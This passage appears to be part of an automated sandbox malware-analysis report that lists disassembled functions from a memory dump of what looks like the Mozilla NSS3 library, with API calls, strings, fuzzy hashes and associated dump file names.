DeleteCriticalSection.KERNEL32(6CBBA6D8), ref: 6CBBAE0D
free.MOZGLUE(?), ref: 6CBBAE14
DeleteCriticalSection.KERNEL32(6CBBA6D8), ref: 6CBBAE36
free.MOZGLUE(?), ref: 6CBBAE3D
free.MOZGLUE(00000000,00000000,?,?,6CBBA6D8), ref: 6CBBAE47

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: d258857631df02f3688d9b4d5274049c7a261874308802122d10740d16c8aa6d
Instruction ID: 30b2d83ff860100e5f6e73b37cd4ffd761e19a4cf590f85beda961207202ae38
Opcode Fuzzy Hash: d258857631df02f3688d9b4d5274049c7a261874308802122d10740d16c8aa6d
Instruction Fuzzy Hash: 21F0F675601A05A7CA209FA8E808917777CFF8A7747200328F13A83A80DB31F066CBD6

Function 6CA47C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA47D35

Strings

database corruption, xrefs: 6CA47D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA47D13, 6CA47D1F, 6CA47D47, 6CA47D53, 6CA47D5F
%s at line %d of [%.10s], xrefs: 6CA47D2E

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: f4bd1ae6c6e972178c3a576575ac582c18f09d16314f121a0328a613b9b943d0
Instruction ID: 9fbd181e0eac597021c907244a6d40ae042d779c88598a5c386d988a3944d7ac
Opcode Fuzzy Hash: f4bd1ae6c6e972178c3a576575ac582c18f09d16314f121a0328a613b9b943d0
Instruction Fuzzy Hash: 44311471E042A99BC710CF9EC8809B9B7E1EF48715B598196E444F7B86D370D891CBA0

Function 6CA36C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CA36D36

Strings

database corruption, xrefs: 6CA36D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA36D20
%s at line %d of [%.10s], xrefs: 6CA36D2F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 19d12974201607db143c954d8f3aba135b68cb01c0dfa80598d625f41ac63cf0
Instruction ID: b5817d124c330eacb547d63337a97a34978bea07b28f231c1486931a1aee7671
Opcode Fuzzy Hash: 19d12974201607db143c954d8f3aba135b68cb01c0dfa80598d625f41ac63cf0
Instruction Fuzzy Hash: F2210030600B259BC7118F1AD951B5AB7E6BF84358F28852CD84DDBF51E770F9888792

Function 6CB6CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB6CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB6CC7B), ref: 6CB6CD7A
Part of subcall function 6CB6CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB6CD8E
Part of subcall function 6CB6CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB6CDA5
Part of subcall function 6CB6CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB6CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CB6CCB5
memcpy.VCRUNTIME140(6CC014F4,6CC002AC,00000090), ref: 6CB6CCD3
memcpy.VCRUNTIME140(6CC01588,6CC002AC,00000090), ref: 6CB6CD2B

Part of subcall function 6CA89AC0: socket.WSOCK32(?,00000017,6CA899BE), ref: 6CA89AE6
Part of subcall function 6CA89AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CA899BE), ref: 6CA89AFC

Part of subcall function 6CA90590: closesocket.WSOCK32(6CA89A8F,?,?,6CA89A8F,00000000), ref: 6CA90597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CB6CCB0

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: c765a9fdbcafa6f05324a24026231174e6976c42938f9d1b5ae9462e90a638db
Instruction ID: d78ef883f5ad68f653fc720e157a479b0893b1a08bbbd1e81374ef8187515b23
Opcode Fuzzy Hash: c765a9fdbcafa6f05324a24026231174e6976c42938f9d1b5ae9462e90a638db
Instruction Fuzzy Hash: 6A117CB1B002D09FDB009FAEC846766BAB8934631CF16102DE50AAFF41EB73D4048BD2

Function 6CAD1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CAD1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CAD1CF1

Part of subcall function 6CBB09D0: PR_Now.NSS3 ref: 6CBB0A22
Part of subcall function 6CBB09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBB0A35
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBB0A66
Part of subcall function 6CBB09D0: PR_GetCurrentThread.NSS3 ref: 6CBB0A70
Part of subcall function 6CBB09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBB0A9D
Part of subcall function 6CBB09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBB0AC8
Part of subcall function 6CBB09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBB0AE8
Part of subcall function 6CBB09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBB0B19
Part of subcall function 6CBB09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBB0B48
Part of subcall function 6CBB09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBB0C76
Part of subcall function 6CBB09D0: PR_LogFlush.NSS3 ref: 6CBB0C7E

Strings

pInitArgs = 0x%p, xrefs: 6CAD1CEC
C_Initialize, xrefs: 6CAD1CD3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 26273d795c03c82b17c1c7bf3c4819f5d6c23ea9098a89297135f9ba80fca15a
Instruction ID: ed7268327a5be97ee347350d9bd8764d9940ecee387bf4e85e6863d46a2e2e5b
Opcode Fuzzy Hash: 26273d795c03c82b17c1c7bf3c4819f5d6c23ea9098a89297135f9ba80fca15a
Instruction Fuzzy Hash: C70192753011819FDF009F54DA49B6933B5EB8232EF0B4029E509D3611DF36E889CB91

Function 6CA37F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA381DF
LeaveCriticalSection.KERNEL32(?), ref: 6CA38239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA38255
sqlite3_free.NSS3(00000000), ref: 6CA38260

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: ebff28bd92521b10261a7eaa04e1fd9622b1880a29ed99b759926c7e451ead8a
Instruction ID: fef8cb3073321e775736315d402005a16b36289c51f45a127c7027f63622943a
Opcode Fuzzy Hash: ebff28bd92521b10261a7eaa04e1fd9622b1880a29ed99b759926c7e451ead8a
Instruction Fuzzy Hash: 57919F71B01258CBEB04CFE4E8697ADB7B1BF06309F18112FD41AEB654D7395985CB81

Function 6CB11D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB11D8F

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB11DA6

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB11E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB11ED0

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: c88e97fec91ced2720f9c10d51e97866771a46ae10df5aa3de08e0e70c56df8d
Instruction ID: 841603edb2cdc04975975696c73ff601c6bba444fa6525da2db8f3cce90fdedb
Opcode Fuzzy Hash: c88e97fec91ced2720f9c10d51e97866771a46ae10df5aa3de08e0e70c56df8d
Instruction Fuzzy Hash: 27517A76A04349CFDB04CF98D884BAEBBB6FF59308F184129E8199BB50D731E945CB91

Function 6CB64FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CA485D2,00000000,?,?), ref: 6CB64FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB650C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB650D6

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 68ea6af918dbeca94beecea8ea3bfa3019cc71f1bb70b6fc486ad6617ed479e1
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 344190B2A002518BCB18CF19DCD17AAB7E1FF4431871D46ADC84ACBB02E775E895CB95

Function 6CA8FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CA8FDFE), ref: 6CA8FFAD

Part of subcall function 6CA2CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA8F9C9,?,6CA8F4DA,6CA8F9C9,?,?,6CA5369A), ref: 6CA2CA7A
Part of subcall function 6CA2CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA2CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CA8FDFE), ref: 6CA8FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CA8FDFE), ref: 6CA9001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CA8FDFE), ref: 6CA9006F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: a992fd27e1c1ad75005eec695e440a3ee5c78b70840f7c01f961cbe7f3ac17f3
Instruction ID: c40688c5aec1376e18f8bbd30db0042f491c8dbbf7473ee4fa1e35026b9d4fe1
Opcode Fuzzy Hash: a992fd27e1c1ad75005eec695e440a3ee5c78b70840f7c01f961cbe7f3ac17f3
Instruction Fuzzy Hash: 1141C171F002559FDB08DFA4E886ABEB7B5FF49309F08002DD816A3700DB369985CBA1

Function 6CB77DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB77E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB77EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB77EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB77ED8

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 19707819625cba5cd3a1babd488b198d084c284138de5ff2d24f485b0f638790
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 6831A6B1A001518FD715CF08C89099EB7A6FF8831472A41A9CC596B711EBB1EC45CBE1

Function 6CB2DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CACAE42), ref: 6CAB30AA
Part of subcall function 6CAB3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB30C7
Part of subcall function 6CAB3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAB30E5
Part of subcall function 6CAB3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAB3116
Part of subcall function 6CAB3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAB312B
Part of subcall function 6CAB3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAB3154
Part of subcall function 6CAB3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB2DBBD), ref: 6CB2DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB2DFEE

Part of subcall function 6CAC86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC8716
Part of subcall function 6CAC86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC8727
Part of subcall function 6CAC86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC873B
Part of subcall function 6CAC86D0: PR_Unlock.NSS3(?), ref: 6CAC876F
Part of subcall function 6CAC86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CAC8787

Part of subcall function 6CAEF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CAEF854
Part of subcall function 6CAEF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CAEF868
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CAEF882
Part of subcall function 6CAEF820: free.MOZGLUE(04C483FF,?,?), ref: 6CAEF889
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CAEF8A4
Part of subcall function 6CAEF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CAEF8AB
Part of subcall function 6CAEF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CAEF8C9
Part of subcall function 6CAEF820: free.MOZGLUE(280F10EC,?,?), ref: 6CAEF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CB2DBBD), ref: 6CB2DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CB2DBBD), ref: 6CB2E007

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: fb1d9ead4eadd3a63c6a46a02ee88c2526701b891c0175642bbeb78f03a3d56c
Instruction ID: 2d51eb68d65391ba7f63197b23abd3744ecf66875136fad907eca19d7759b4c4
Opcode Fuzzy Hash: fb1d9ead4eadd3a63c6a46a02ee88c2526701b891c0175642bbeb78f03a3d56c
Instruction Fuzzy Hash: 2731D2B1A0428157EB109A79AD85AAB73A8EF5530CF040135E90ED7B52FB39D94CC2E3

Function 6CAA6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CAA6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAA6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CAA6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CBC8FE0), ref: 6CAA6CFE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 6405afc6f13ccbe5fd399f04b5ab02dfbb546c3d30a92447e1d31cd271ad35bb
Instruction ID: dcece5ed837b69526d31a61c8042da4e70032b6211fcdc99eb86f20dd21eb26a
Opcode Fuzzy Hash: 6405afc6f13ccbe5fd399f04b5ab02dfbb546c3d30a92447e1d31cd271ad35bb
Instruction Fuzzy Hash: CB3181B5A002169FDB08CFA9C891ABFBBF5EF45248B14442DD905E7750FB319946CBA0

Function 6CBB4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CBB4F5D
free.MOZGLUE(?), ref: 6CBB4F74
free.MOZGLUE(?), ref: 6CBB4F82
GetLastError.KERNEL32 ref: 6CBB4F90

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
